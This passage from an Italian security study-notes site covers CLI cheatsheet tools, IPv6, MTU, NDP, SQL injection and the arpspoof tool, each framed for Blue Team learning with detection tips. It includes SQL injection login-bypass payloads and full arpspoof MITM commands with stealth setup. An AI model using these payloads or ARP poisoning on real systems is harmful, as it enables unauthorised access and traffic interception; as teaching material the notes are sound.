densità tecnica dei manuali ufficiali (man).\nTL;DR # Quando il man è troppo lungo o complesso, usa questi tool per vedere subito come si scrive il comando invece di leggere tutta la specifica tecnica.\nVeloce: curl cheat.sh/comando (non richiede installazione) Sintetico: tldr comando (poche righe, solo i casi comuni) Interattivo: navi (permette di cercare ed eseguire al volo) Come scegliere lo strumento giusto # graph TD A[Ho bisogno di aiuto con un comando] --\u003e B{Ho internet?} B --\u003e|Sì| C[cheat.sh / devhints.io] B --\u003e|No| D{Cosa cerco?} D --\u003e|Esempi rapidi| E[tldr] D --\u003e|Specifica tecnica| F[man / info] D --\u003e|Supporto interattivo| G[navi] C --\u003e H[Esempi reali e snippet pronti] Strumenti principali # Tool Accesso Punti di forza Link cheat.sh curl cheat.sh/cmd Aggrega tldr, StackOverflow e altri. Il più completo. github.com/chubin/cheat.sh tldr tldr cmd Estremamente sintetico. Solo i 5-6 flag più usati. tldr.sh devhints.io Browser Ottimo per linguaggi (Python, Bash) e Regex. Molto visivo. devhints.io navi navi Widget interattivo. Filtri mentre scrivi ed esegui subito. github.com/denisidoro/navi eg eg cmd Esempi con spiegazioni testuali del \u0026quot;perché\u0026quot;. github.com/srsudar/eg cheat cheat cmd Ti permette di creare e visualizzare i tuoi cheatsheet. github.com/cheat/cheat Perché è importante per Blue Team # Nelle fasi di Incident Response, la velocità è critica. Non c'è tempo per leggere 50 pagine di manuale di tshark o openssl mentre un attacco è in corso. Sapere dove recuperare lo snippet esatto per un filtro o per ispezionare un certificato riduce il Mean Time To Respond (MTTR) e previene errori di sintassi che potrebbero corrompere le prove digitali.\nDove l'ho incontrato # Sessione di studio del 12/04/2026 durante l'analisi dfir di un malware. Collegato a # man — il punto di partenza ufficiale help — flag --help interno ai comandi system — categoria hub tshark — spesso usato con comandi complessi da cheatsheet openssl — spesso usato con comandi complessi da cheatsheet ","date":"12 aprile 2026","externalUrl":null,"permalink":"/concetti/cheatsheet-alternatives/","section":"Concetti","summary":"Panoramica delle risorse alternative ai manuali ufficiali (man) per consultare rapidamente esempi pratici di comandi CLI.","title":"Alternative a man (Cheatsheet)","type":"concetti"},{"content":" Cosa fa # Successore di IPv4 con spazio di indirizzamento a 128 bit. Risolve l'esaurimento degli indirizzi IPv4, elimina il broadcast, introduce multicast nativo e header a dimensione fissa. Non richiede NAT — ogni dispositivo puo' avere il suo IP pubblico univoco.\nTL;DR # IPv4: 32 bit → ~4,29 miliardi di indirizzi → esauriti dal 2011 IPv6: 128 bit → 340 undecilioni (3,4 × 10³⁸) → praticamente infiniti Differenze chiave: Broadcast → eliminato, sostituito da multicast NAT → non necessario (ogni device ha IP pubblico) Header → fisso 40 byte (IPv4 era variabile) TTL → rinominato Hop Limit (nome piu\u0026#39; preciso) ARP → sostituito da NDP (Neighbor Discovery Protocol) Formato dell'indirizzo # IPv6 usa 128 bit rappresentati in esadecimale, divisi in 8 gruppi da 16 bit separati da ::\nIndirizzo completo: 1111:aaaa:2222:bbbb:3333:cccc:4444:dddd Indirizzo con zeri compressi (:: sostituisce uno o piu\u0026#39; gruppi di zeri): fe80:0000:0000:0000:7a31:c1ff:fecb:b256 fe80::7a31:c1ff:fecb:b256 ← forma compressa CIDR notation come IPv4:\nfe80::/64 → i primi 64 bit sono il prefisso di rete i secondi 64 bit sono l\u0026#39;interface identifier (host) Tipi di indirizzi IPv6 # Unicast → uno a uno (come IPv4 normale) Multicast → uno a molti — solo chi e\u0026#39; \u0026#34;iscritto\u0026#34; riceve Anycast → uno al piu\u0026#39; vicino — usato per routing efficiente (es. DNS) NON ESISTE broadcast in IPv6 Prefissi speciali:\n::1 → loopback (come 127.0.0.1 in IPv4) fe80::/10 → link-local — solo nella LAN, non esce dal router generato automaticamente da ogni interfaccia ff00::/8 → multicast — il primo byte ff identifica sempre multicast ff02:: → multicast link-local → resta nella LAN ff05:: → multicast site-local → resta nel sito (campus/azienda) ff0e:: → multicast global → attraversa internet 2001:db8::/32 → range riservato per documentazione ed esempi \u0026quot;Site\u0026quot; in ff05 significa il sito fisico — campus universitario, sede aziendale,datacenter. Il pacchetto attraversa i router interni ma non esce verso internet.\nScope del multicast in ordine crescente:\nff02:: → LAN (non attraversa nessun router) ff05:: → Sito (attraversa router interni, non quelli verso internet) ff0e:: → Internet (attraversa tutto) Header IPv6 — struttura fissa # A differenza di IPv4 (header variabile), IPv6 ha sempre 40 byte fissi:\n┌─────────┬──────────────┬──────────────────────────────────┐ │ Version │ Traffic Class│ Flow Label │ │ (4b) │ (8b) │ (20b) │ ├─────────┴──────────────┴──────────────────────────────────┤ │ Payload Length (16b) │ Next Header │ Hop Limit │ │ │ (8b) │ (8b) │ ├──────────────────────────────┴─────────────┴──────────────┤ │ Source IP Address (128b) │ │ (8 righe) │ ├───────────────────────────────────────────────────────────┤ │ Destination IP Address (128b) │ │ (8 righe) │ └───────────────────────────────────────────────────────────┘ Confronto campi IPv4 vs IPv6:\nIPv4 IPv6 Differenza ────────────────────────────────────────────────────── TTL Hop Limit Stesso meccanismo, nome piu\u0026#39; preciso Header Checksum (rimosso) I layer superiori gestiscono l\u0026#39;integrita\u0026#39; Options Extension Headers Piu\u0026#39; flessibile e processabile dai router Identification (rimosso) La frammentazione e\u0026#39; gestita diversamente Fragment Offset (rimosso) Solo il mittente frammenta in IPv6 Il campo Next Header indica cosa c'e' dopo l'header IPv6:\n6 → TCP 17 → UDP 58 → ICMPv6 (include NDP, ping IPv6) Hop Limit vs TTL # IPv4: TTL → \u0026#34;Time To Live\u0026#34; (nome impreciso — conta hop, non tempo) IPv6: Hop Limit → nome che dice esattamente cosa fa Meccanismo identico: decrementato di 1 ad ogni router a 0 → pacchetto scartato + ICMPv6 Time Exceeded protegge dai loop di routing Valori di default tipici (identici a IPv4):\nLinux/macOS → 64 Windows → 128 Router → 255 Privacy Extensions e EUI-64 # IPv6 puo' generare l'interface identifier (ultimi 64 bit) in due modi:\nEUI-64 — derivato dal MAC address:\nMAC: 7a:31:c1:cb:b2:56 └─────────────────┐ IPv6: fe80::7831:c1ff:fecb:b256 ↑ \u0026#34;fffe\u0026#34; inserito nel mezzo del MAC Vantaggio: stabile e prevedibile. Svantaggio: tracciabile — il MAC e' dentro l'indirizzo IPv6.\nPrivacy Extensions (RFC 4941) — casuale:\nIPv6: fe80::a3f2:9b1c:4d7e:2291 ↑ generato casualmente cambia periodicamente (ore/giorni) Linux e macOS moderni usano Privacy Extensions di default. Dal punto di vista Blue Team: rende piu' difficile tracciare un dispositivo nel tempo tramite il suo indirizzo IPv6 link-local.\nHappy Eyeballs — come il browser sceglie IPv4 o IPv6 # Browser interroga DNS per google.com │ ├── Record A → 142.251.x.x (IPv4) └── Record AAAA → 2a00:1450::x (IPv6) │ ├── Tenta IPv6 immediatamente │ └── Dopo 50ms tenta anche IPv4 │ Vince chi risponde prima (IPv6 ha la precedenza se funziona) Risultato: puoi usare IPv6 senza saperlo. In una stessa sessione di navigazione puoi avere traffico IPv4 e IPv6 intercalati — dipende da quali siti hanno record AAAA.\nVerifica con dig:\ndig google.com A # record IPv4 dig google.com AAAA # record IPv6 Una connessione = un protocollo # Una volta stabilita una connessione TCP, il protocollo IP non cambia per tutta la durata di quella connessione:\nBrowser sceglie IPv6 per google.com │ ▼ [SYN → SYN-ACK → ACK] ← three-way handshake IPv6 │ ├── GET / → stessa connessione IPv6 ├── GET /account → stessa connessione IPv6 └── GET /maps → stessa connessione IPv6 Solo una nuova connessione TCP (nuovo handshake) potrebbe usare un protocollo diverso. In pratica il cambio e' rarissimo sullo stesso dominio — Happy Eyeballs sceglie sempre lo stesso protocollo se funziona.\nIPv6 e sicurezza — niente NAT implicito # Con IPv4 + NAT il router bloccava le connessioni in ingresso non richieste come effetto collaterale. Con IPv6 ogni dispositivo e' direttamente esposto:\nIPv4 + NAT: Internet → Router → [blocco implicito] → PC Protezione \u0026#34;gratis\u0026#34; dal NAT IPv6 senza NAT: Internet → Router → PC (direttamente) Niente blocco implicito → firewall obbligatorio Warning In una rete IPv6 senza firewall configurato, ogni dispositivo e' raggiungibile direttamente da internet. E' uno dei motivi per cui l'adozione IPv6 nelle aziende richiede di ripensare completamente la sicurezza perimetrale.\nAdozione globale (2026) # Globale: ~45-49% (Google Statistics) Francia: 86% ← leader europeo Germania: 68% India: ~70% USA: ~50% Italia: bassa Cina: \u0026lt;5% Perche' cosi' lenta dopo 30 anni? IPv4 funziona ancora grazie al NAT e al CGNAT. Finche' funziona, non c'e' urgenza reale di migrare.\nScenario Reale Blue Team # In un dfir vedi traffico verso ff02:: — prefisso multicast link-local. Non e' traffico anomalo: e' NDP (Neighbor Discovery Protocol) normale.\nIn Wireshark filtra IPv6:\nFiltro Wireshark: ipv6 Filtro solo multicast: ipv6.dst matches \u0026#34;^ff\u0026#34; Filtro NDP: icmpv6.type == 135 || icmpv6.type == 136 Un volume anomalo di Neighbor Solicitation puo' indicare un tentativo di NDP spoofing — l'equivalente IPv6 dell'ARP poisoning.\nCollegato a # network — categoria ip-header — struttura header IPv4 per confronto nat-concept — NAT non necessario con IPv6 ndp-neighbor-discovery — sostituisce ARP in IPv6 dns-records — record AAAA per IPv6, Happy Eyeballs arp — protocollo sostituito da NDP in IPv6 ","date":"10 aprile 2026","externalUrl":null,"permalink":"/concetti/ipv6/","section":"Concetti","summary":"Successore di IPv4 a 128 bit. Elimina la scarsità di indirizzi, rimuove il broadcast, introduce multicast nativo, header fisso a 40 byte. Adozione globale ~45-49% (2026). Richiede firewall esplicito - niente NAT implicito.","title":"IPv6 - Internet Protocol Version 6","type":"concetti"},{"content":" Cosa fa # Definisce la dimensione massima in byte che il payload di un frame puo' avere su un determinato link fisico. Non e' una proprieta' del router, del cavo, o di TCP — e' una proprieta' del protocollo di Layer 2 usato su quel link. Se un pacchetto IP supera l'MTU del link successivo, deve essere frammentato (IPv4) o il mittente deve rimandarlo piu' piccolo (IPv6).\nTL;DR # MTU = quanto spazio hai nel \u0026#34;camion\u0026#34; per caricare i dati Link Ethernet standard → MTU 1500 byte significa: il payload del frame non puo\u0026#39; superare 1500 byte dentro ci sta: header IP + header TCP + dati applicativi Se il pacchetto e\u0026#39; piu\u0026#39; grande del MTU del link → problema IPv4: il router frammenta il pacchetto IPv6: il router manda \u0026#34;Packet Too Big\u0026#34; al mittente Dove opera MTU — il modello OSI # Layer 7 APPLICATION HTTP, HTTPS, FTP... \u0026#34;voglio mandare questi dati\u0026#34; │ Layer 4 TRANSPORT TCP, UDP \u0026#34;li spezzetto in segmenti\u0026#34; │ Layer 3 NETWORK IP \u0026#34;creo pacchetti, rispetto l\u0026#39;MTU del link\u0026#34; │ Layer 2 DATA LINK Ethernet, WiFi, PPPoE ← MTU vive qui \u0026#34;il frame non puo\u0026#39; superare X byte\u0026#34; │ Layer 1 PHYSICAL cavi, segnali \u0026#34;trasmetto i bit\u0026#34; MTU e' una proprieta' del Layer 2 che il Layer 3 deve rispettare. Il cavo fisico (Layer 1) non ha MTU — trasmette bit senza limiti di dimensione.\nCos'e' un frame — cosa contiene # Un frame Ethernet e' l'unita' di dati del Layer 2. Contiene tutto: header Ethernet + payload + FCS.\nFCS: Frame Check Sequence — il checksum del frame Ethernet. Se il frame arriva corrotto (cavo rovinato, interferenze): FCS calcolato dal ricevitore ≠ FCS nel frame → frame scartato silenziosamente → TCP al layer 4 non riceve l'ACK → ritrasmette\nFRAME ETHERNET COMPLETO (max 1514 byte): ┌─────────────────┬───────────────────────────────────────┬──────┐ │ ETH header │ payload (max 1500 byte) │ FCS │ │ 14 byte │ │ 4b │ │ MAC src + dst │ IP header + TCP header + dati HTTP │ │ │ + tipo (2b) │ │ │ └─────────────────┴───────────────────────────────────────┴──────┘ ↑ questo e\u0026#39; l\u0026#39;MTU (solo il payload, non gli header Ethernet) Cosa c'e' dentro il payload (esempio HTTP):\nPAYLOAD (max 1500 byte su Ethernet): ┌──────────────┬───────────────┬─────────────────────────────────┐ │ IP header │ TCP header │ dati HTTP │ │ 20 byte │ 20 byte │ \u0026#34;GET /index.html HTTP/1.1...\u0026#34; │ │ │ │ ~1460 byte │ └──────────────┴───────────────┴─────────────────────────────────┘ Spazio effettivo per i dati = 1500 - 20 (IP) - 20 (TCP) = 1460 byte Questo si chiama MSS — Maximum Segment Size MTU varia per tipo di link # L'MTU non e' universale — dipende dal protocollo di Layer 2 del link:\nTipo di link MTU tipico Nota ────────────────────────────────────────────────────────────── Ethernet standard 1500 byte il default ovunque Jumbo frames 9000 byte datacenter, reti ad alte perf. WiFi 802.11 2304 byte teorico, in pratica ~1500 PPPoE (ADSL/fibra) 1492 byte -8 byte per header PPPoE VPN (IPSec/OpenVPN) variabile ridotto — il tunnel aggiunge overhead Loopback (lo) 65536 byte solo locale, nessun limite reale Perche' VPN riduce l'MTU # Un tunnel VPN aggiunge il suo header sopra il pacchetto IP originale:\nSENZA VPN: ┌──────┬──────┬──────┬───────────────────────────────────┐ │ ETH │ IP │ TCP │ dati │ │ 14b │ 20b │ 20b │ 1460b │ = 1514 byte totali └──────┴──────┴──────┴───────────────────────────────────┘ CON VPN (IPSec esempio): ┌──────┬──────────┬──────┬──────┬──────┬────────────────┐ │ ETH │ IP outer │ IPSec│ IP │ TCP │ dati │ │ 14b │ 20b │ ~50b │ 20b │ 20b │ ~1356b │ └──────┴──────────┴──────┴──────┴──────┴────────────────┘ ↑ overhead del tunnel \u0026#34;mangia\u0026#34; spazio dal payload MTU effettivo con VPN ≈ 1500 - 50 (IPSec overhead) = ~1450 byte Path MTU Discovery — come funziona # Ogni hop lungo il percorso ha il suo MTU. Il percorso ha un MTU minimo:\nClient Router A Router B Server MTU 1500 MTU 1500 MTU 1400 MTU 1500 Path MTU = minimo tra tutti gli hop = 1400 In IPv4 — il router frammenta # Client manda pacchetto da 1500 byte │ ▼ Router A (MTU 1500) → passa │ ▼ Router B (MTU 1400) → troppo grande! │ ├── Frammento 1: 1400 byte → Server └── Frammento 2: 100 byte → Server Server riassembla i frammenti Il router frammenta in silenzio — il mittente non sa nulla.\nIn IPv6 — solo il mittente frammenta # Client manda pacchetto da 1500 byte │ ▼ Router A (MTU 1500) → passa │ ▼ Router B (MTU 1400) → troppo grande! │ └── ICMPv6 Type 2 \u0026#34;Packet Too Big, MTU=1400\u0026#34; → Client Client riceve il messaggio │ ├── Abbassa MTU a 1400 └── Rimanda il pacchetto piu\u0026#39; piccolo │ ▼ Server — arriva correttamente Il router IPv6 non frammenta mai — notifica il mittente.\nPerche' IPv6 ha scelto questo approccio? Frammentare nei router intermedi e' costoso computazionalmente. Spostare la responsabilita' al mittente rende i router piu' veloci.\nCome appare in Wireshark — IPv6 con Fragment Header # Next header: Fragment Header for IPv6 (44) ← segnale di frammentazione Fragment Header: Offset: 0 ← primo frammento More Fragments: Yes ← ne arrivano altri Identification: 0xcde00817 ← ID per riassemblare Il campo Next Header = 44 indica che c'e' un Extension Header di frammentazione — la prova che il mittente ha dovuto spezzare il pacchetto.\nScenario Reale Blue Team # Un server web smette improvvisamente di rispondere ad alcuni client ma funziona per altri. Il problema potrebbe essere MTU.\n# Testa la connettivita\u0026#39; con pacchetti di dimensione crescente ping -M do -s 1472 8.8.8.8 # -M do = Don\u0026#39;t Fragment, -s = size payload # Se fallisce con 1472 ma funziona con 1400 → MTU problem nel percorso # Scopri il Path MTU verso un host tracepath 8.8.8.8 # mostra l\u0026#39;MTU di ogni hop Un altro scenario: client dietro VPN non riescono a caricare pagine grandi ma le pagine piccole funzionano. Causa quasi sempre: MTU del tunnel VPN non configurato correttamente — il client manda pacchetti troppo grandi per il tunnel.\nTip Il valore 1472 in ping corrisponde a 1500 (MTU Ethernet) - 20 (IP header)\n8 (ICMP header) = 1472 byte di payload. Se questo ping funziona, l'MTU lungo il percorso e' almeno 1500. Warning Alcuni firewall bloccano i pacchetti ICMPv6 \u0026quot;Packet Too Big\u0026quot;. Questo rompe il Path MTU Discovery per IPv6 e causa problemi di connettivita' inspiegabili — i pacchetti grandi non arrivano mai. E' una misconfiguration comune e difficile da diagnosticare.\nCollegato a # network — categoria osi-model — MTU opera a Layer 2, rispettato da Layer 3 ip-header — frammentazione IPv4 nei campi Flags e Fragment Offset ipv6 — Path MTU Discovery in IPv6, Packet Too Big tcp-udp — MSS (Maximum Segment Size) e' il MTU meno gli header IP e TCP ","date":"10 aprile 2026","externalUrl":null,"permalink":"/concetti/mtu/","section":"Concetti","summary":"Maximum Transmission Unit - la dimensione massima in byte del payload di un frame su un link fisico. Opera a Layer 2. Determina se un pacchetto IP deve essere frammentato o se il mittente deve ridurre la dimensione dei dati.","title":"MTU - Maximum Transmission Unit","type":"concetti"},{"content":" Cosa fa # Protocollo IPv6 che sostituisce ARP. Usa ICMPv6 con multicast per trovare il MAC address di un host nella stessa LAN. Piu' efficiente di ARP perche' usa multicast invece di broadcast — solo il dispositivo interessato processa la richiesta.\nTL;DR # ARP (IPv4): broadcast → tutti ricevono e processano NDP (IPv6): multicast → solo chi ha quell\u0026#39;IP risponde Stesso problema, soluzione piu\u0026#39; efficiente: \u0026#34;Qual e\u0026#39; il MAC di questo IPv6?\u0026#34; → Neighbor Solicitation (Type 135) \u0026#34;Sono io, ecco il mio MAC\u0026#34; → Neighbor Advertisement (Type 136) Confronto ARP vs NDP # ARP (IPv4) NDP (IPv6) Protocollo ARP (Layer 2/3) ICMPv6 (Layer 3) Trasmissione Broadcast Multicast Indirizzo dst ff:ff:ff:ff:ff:ff ff02::1:ffxx:xxxx Chi risponde TUTTI processano Solo il destinatario Tipo richiesta ARP Request (Opcode 1) Neighbor Solicitation (135) Tipo risposta ARP Reply (Opcode 2) Neighbor Advertisement (136) Cache ARP cache Neighbor cache Comando Linux ip neighbor show ip neighbor show (stesso!) Come funziona — passo per passo # Scenario: Host A (2001:db8:1:2::1003) vuole comunicare con Web Server (2001:db8:1:2::1000).\nPasso 1 — Neighbor Solicitation (broadcast → multicast):\nHost A │ │ ICMPv6 Type 135 — Neighbor Solicitation │ Ethernet dst: 33:33:ff:00:10:00 (multicast MAC derivato dall\u0026#39;IPv6) │ IPv6 dst: ff02::1:ff00:1000 (multicast link-local) │ Payload: \u0026#34;Chi ha 2001:db8:1:2::1000? Il mio MAC e\u0026#39; 00:0c:29:2f:80:31\u0026#34; │ ▼ [Solo il Web Server con IP 2001:db8:1:2::1000 processa] Passo 2 — Neighbor Advertisement (multicast → unicast):\nWeb Server │ │ ICMPv6 Type 136 — Neighbor Advertisement │ Ethernet dst: 00:0c:29:2f:80:31 (unicast — diretto all\u0026#39;Host A) │ IPv6 dst: 2001:db8:1:2::1003 (unicast) │ Payload: \u0026#34;Sono io — MAC 00:0c:29:1f:a7:55\u0026#34; │ ▼ [Host A aggiorna la neighbor cache e inizia la comunicazione] Lettura pacchetti in Wireshark # Packet 1 — Neighbor Solicitation (Type 135):\nEthernet II: Src: 00:0c:29:2f:80:31 ← MAC del richiedente Dst: 33:33:ff:00:10:00 ← MAC multicast (derivato dall\u0026#39;IPv6 target) IPv6: Src: 2001:db8:1:2::1003 ← richiedente Dst: ff02::1:ff00:1000 ← indirizzo multicast solicited-node Hop Limit: 255 ← NDP usa sempre 255 (non deve uscire dalla LAN) Next Header: ICMPv6 (58) ICMPv6: Type: 135 (Neighbor Solicitation) Target Address: 2001:db8:1:2::1000 ← IP cercato Source link-layer: 00:0c:29:2f:80:31 ← MAC del richiedente incluso Packet 2 — Neighbor Advertisement (Type 136):\nEthernet II: Src: 00:0c:29:1f:a7:55 ← MAC del rispondente Dst: 00:0c:29:2f:80:31 ← MAC unicast del richiedente IPv6: Src: 2001:db8:1:2::1000 ← rispondente Dst: 2001:db8:1:2::1003 ← unicast — solo al richiedente ICMPv6: Type: 136 (Neighbor Advertisement) Flags: Solicited: Set ← risposta a una Solicitation (non gratuita) Override: Set ← aggiorna la cache anche se esiste gia\u0026#39; Target Address: 2001:db8:1:2::1000 Target link-layer: 00:0c:29:1f:a7:55 ← MAC del rispondente Unicast vs Multicast — perche' il cambio # SOLICITATION → multicast: Non conosco il MAC del destinatario Non posso mandare un unicast senza MAC → mando a tutti... ma solo a quelli interessati (multicast) ADVERTISEMENT → unicast: Conosco il MAC del richiedente (era nella Solicitation) → mando direttamente a lui, nessun altro deve sapere I tre tipi di trasmissione a confronto # Broadcast → altoparlante in piazza TUTTI sentono e processano esempio: ARP in IPv4 Multicast → newsletter con iscrizione solo chi e\u0026#39; iscritto riceve e processa esempio: NDP in IPv6, streaming video Unicast → lettera con indirizzo preciso solo il destinatario riceve esempio: la maggior parte del traffico TCP Perche' multicast e' piu' efficiente in reti grandi:\nRete con 1000 dispositivi — ricerca MAC: ARP broadcast: 1000 dispositivi ricevono il pacchetto 1000 stack di rete processano il frame 999 lo scartano dopo averlo processato NDP multicast: ~1 dispositivo riceve il pacchetto solicited-node (il multicast solicited-node e\u0026#39; quasi unicast per design) Solo 1 stack processa e risponde Neighbor Cache — come ip neighbor show mostra anche IPv6 # ip neighbor show # 192.168.64.1 dev eth0 lladdr 72:8c:f2:1b:c8:64 REACHABLE ← IPv4 ARP # fe80::708c:f2ff:fe1b:c864 dev eth0 lladdr 72:8c:f2:1b:c8:64 router STALE ← IPv6 NDP Lo stesso comando mostra sia la ARP cache (IPv4) che la neighbor cache (IPv6). Gli stati sono identici: REACHABLE, STALE, FAILED.\nFiltri Wireshark per NDP # # Tutto il traffico NDP icmpv6.type == 135 || icmpv6.type == 136 # Solo Solicitation icmpv6.type == 135 # Solo Advertisement icmpv6.type == 136 # Tutto il multicast IPv6 ipv6.dst matches \u0026#34;^ff\u0026#34; Scenario Reale Blue Team # Un volume anomalo di Neighbor Solicitation da uno stesso host puo' indicare NDP scanning — l'equivalente IPv6 di un ARP scan.\nUn attaccante che manda molte Solicitation verso indirizzi IPv6 diversi sta cercando di mappare quali host sono attivi nella rete.\n# Rileva NDP scanning in tcpdump sudo tcpdump -i eth0 \u0026#39;icmp6 and ip6[40] == 135\u0026#39; # Se vedi molte Solicitation dallo stesso src → possibile scanning Warning NDP spoofing e' l'equivalente IPv6 dell'ARP poisoning. Un attaccante puo' mandare Neighbor Advertisement falsi per avvelenare la neighbor cache. Le difese equivalenti a DAI per IPv6 si chiamano RA Guard e SEND (Secure Neighbor Discovery).\nCollegato a # network — categoria arp — protocollo equivalente per IPv4 ipv6 — il protocollo che NDP serve icmp-mac-ip — ICMP e il suo ruolo nel networking osi-model — NDP opera tra Layer 2 e Layer 3 ","date":"10 aprile 2026","externalUrl":null,"permalink":"/concetti/ndp-neighbor-discovery/","section":"Concetti","summary":"Protocollo IPv6 che sostituisce ARP. Usa ICMPv6 e multicast invece di broadcast per trovare il MAC address di un host nella stessa LAN. Neighbor Solicitation (type 135) chiede, Neighbor Advertisement (type 136) risponde.","title":"NDP - Neighbor Discovery Protocol","type":"concetti"},{"content":" Cos'è # Una vulnerabilità di sicurezza che permette a un attaccante di interferire con le query che un'applicazione effettua al suo database, accedendo a dati non autorizzati.\nTL;DR # La SQLi sfrutta la mancanza di sanificazione dell'input. Inserendo una single quote ('), l'attaccante chiude la stringa prevista dallo sviluppatore e \u0026quot;inietta\u0026quot; codice SQL arbitrario.\nFlusso d'attacco:\nInserimento ' → Genera errore (Syntax Error), confermando la vulnerabilità. Inserimento '-- → Commenta il resto della query, eliminando restrizioni (es. released=1). Inserimento ' OR 1=1-- → Forza la condizione a True, estraendo tutti i dati. Esempio di bypass:\n# L\u0026#39;attaccante inserisce: admin\u0026#39; -- # Query finale: SELECT * FROM users WHERE user = \u0026#39;admin\u0026#39; --\u0026#39; AND pass = \u0026#39;...\u0026#39; # Il simbolo \u0026#39;--\u0026#39; commenta il resto della query, annullando il controllo password. Query Originale: SELECT * FROM products WHERE category = 'Gifts' AND released = 1\nTest Vulnerabilità (Single Quote): SELECT * FROM products WHERE category = ''' AND released = 1 ^-- Errore di sintassi (quote dispari) Bypass Restrizioni (Commento): SELECT * FROM products WHERE category = 'Gifts'--' AND released = 1 ^-- Tutto ciò che segue è ignorato Estrazione Totale (Tautologia): SELECT * FROM products WHERE category = '' OR 1=1--' AND released = 1 ^-------^-- Questa parte è sempre VERA Elementi chiave # Single Quote ('): Il \u0026quot;grimaldello\u0026quot; per rompere la query. - Commento (--): Utilizzato per \u0026quot;spegnere\u0026quot; la logica successiva della query originale (es. filtri di sicurezza o controlli password). Tautologia (OR 1=1): Una condizione logica sempre vera che forza il database a restituire ogni riga della tabella. Come funziona # L'attaccante \u0026quot;rompe\u0026quot; il contesto dei dati per inserire comandi SQL arbitrari.\n[ Attaccante ] [ Web App ] [ Database ] │ │ │ │── Input: \u0026#39; OR 1=1 ──────►│ │ │ │── Query alterata ──────►│ │ │ │ │ │◄── Tutti i record ──────│ │◄─ Accesso garantito ─────│ │ Esempio: Bypass del Login 🔑 # Questo esempio mostra come accedere a un account specifico (es. administrator) senza possedere la password.\nInput Username: administrator'--\nQuery Originale:\nSELECT * FROM users WHERE username = \u0026#39;wiener\u0026#39; AND password = \u0026#39;bluecheese\u0026#39; Query Iniettata (Backend):\nSELECT * FROM users WHERE username = \u0026#39;administrator\u0026#39;--\u0026#39; AND password = \u0026#39;bluecheese\u0026#39; Cosa accade esattamente? 🧠 # L'apice ('): Chiude il campo username subito dopo la parola administrator. I trattini (--): Indicano al database di ignorare tutto ciò che segue sulla stessa riga. Il risultato: La condizione AND password = '...' viene \u0026quot;commentata\u0026quot; e quindi cancellata. Il database autentica l'utente semplicemente verificando che il nome administrator esista nella tabella. Tecniche principali # In-band (Union-based): Utilizza l'operatore UNION per estrarre dati da altre tabelle. Blind (Inferential): L'attaccante deduce informazioni osservando le risposte dell'app (es. cambiamenti nel contenuto o ritardi temporali). Out-of-band: Esfiltra dati tramite canali esterni come DNS o HTTP. Perché è importante per Blue Team # Come difensori, dobbiamo assicurarci che gli sviluppatori utilizzino query parametrizzate (Prepared Statements) e monitorare i log per individuare pattern sospetti come caratteri ', -- o parole chiave SQL negli URL.\nDove l'ho incontrato # tryhackme-sql-injection — laboratorio pratico portswigger-academy — approfondimento teorico Scenario Reale # Un analista SOC nota nei log del firewall applicativo (WAF) numerose richieste verso /login contenenti la stringa %27%20OR%201%3D1. Questo indica un tentativo di bypass dell'autenticazione. Se l'applicazione non usa query parametrizzate, l'attaccante potrebbe ottenere l'accesso come amministratore semplicemente conoscendo lo username.\nRisorse # PortSwigger SQL Injection Guide Collegato a # network — categoria ","date":"10 aprile 2026","externalUrl":null,"permalink":"/concetti/sql-injection/","section":"Concetti","summary":"Vulnerabilità web che permette di manipolare le query database tramite input non sanificati, bypassando i controlli di sicurezza.","title":"SQL Injection (SQLi)","type":"concetti"},{"content":" Cosa fa # Manda pacchetti ARP Reply falsi in loop verso un target, convincendolo che un determinato IP corrisponde al MAC dell'attaccante. Parte del pacchetto dsniff. Usato per simulare attacchi MITM in ambienti di laboratorio.\nSintassi # arpspoof -i interfaccia -t target gateway\nFlag principali # Flag Significato Cosa fa -i interface Specifica l'interfaccia di rete da usare -t target IP del dispositivo da avvelenare ultimo arg — IP che vuoi impersonare (di solito il gateway) MITM completo — avvelenare entrambi i lati # Per intercettare il traffico bidirezionale devi avvelenare la ARP cache di due dispositivi:\n# Terminale 1 — convincere la vittima che il gateway sei tu sudo arpspoof -i eth0 -t 192.168.64.3 192.168.64.1 # \u0026#34;Ubuntu (192.168.64.3), il gateway (192.168.64.1) sono io\u0026#34; # Terminale 2 — convincere il gateway che la vittima sei tu sudo arpspoof -i eth0 -t 192.168.64.1 192.168.64.3 # \u0026#34;Gateway (192.168.64.1), Ubuntu (192.168.64.3) sono io\u0026#34; Flusso MITM completo: Ubuntu → Kali (crede sia gateway) → Router → internet internet → Router → Kali (crede sia Ubuntu) → Ubuntu Kali vede tutto il traffico in entrambe le direzioni Setup necessario prima di lanciare # # 1. Abilita IP forwarding — altrimenti il traffico viene scartato # e la vittima perde la connessione (DoS involontario) sudo sysctl -w net.ipv4.ip_forward=1 # 2. Disabilita ICMP Redirect — altrimenti Kali manda # messaggi alla vittima che la avvisano dell\u0026#39;hop extra sudo sysctl -w net.ipv4.conf.all.send_redirects=0 sudo sysctl -w net.ipv4.conf.default.send_redirects=0 sudo sysctl -w net.ipv4.conf.eth0.send_redirects=0 # ATTENZIONE: disabilitare all e default non basta # serve anche l\u0026#39;interfaccia specifica (eth0, eth1...) Firma del MITM in Wireshark # Quando il MITM e' attivo, in Wireshark vedi ogni pacchetto due volte con TTL diverso:\nPacket 1: 192.168.64.3 \u0026gt; 8.8.8.8 TTL=64 ← originale da Ubuntu Packet 2: 192.168.64.3 \u0026gt; 8.8.8.8 TTL=63 ← reinoltrato da Kali Stesso seq number, TTL decrementato di 1 = hop fantasma Questo e' il segnale che cerca un analista Blue Team: stesso flusso, stesso sequence number, TTL diverso = MITM in corso.\nCome rilevarlo (lato Blue Team) # # Monitora ARP anomali in tempo reale sudo tcpdump -i eth0 arp -n # Controlla se il gateway ha cambiato MAC ip neighbor show # Se vedi lo stesso IP con MAC diverso rispetto a ieri = sospetto # In Wireshark: filtra ARP Reply non richieste arp.opcode == 2 # mostra tutte le ARP Reply # Se vedi molte Reply senza una Request precedente = Gratuitous ARP sospetto ARP cache di Ubuntu avvelenata — come appare # # Su Ubuntu durante l\u0026#39;attacco: ip neighbor show # 192.168.64.1 dev enp0s1 lladdr 42:27:26:91:fd:11 REACHABLE ← MAC di Kali! # 192.168.64.200 dev enp0s1 lladdr 42:27:26:91:fd:11 REACHABLE # Il gateway (192.168.64.1) e l\u0026#39;attaccante (192.168.64.200) # hanno lo stesso MAC — segnale inequivocabile di ARP poisoning Warning Usare arpspoof su reti non autorizzate e' illegale. Usalo solo su reti di laboratorio di tua proprieta'. Su reti aziendali reali, DAI (Dynamic ARP Inspection) blocca questo attacco automaticamente.\nTip Se la 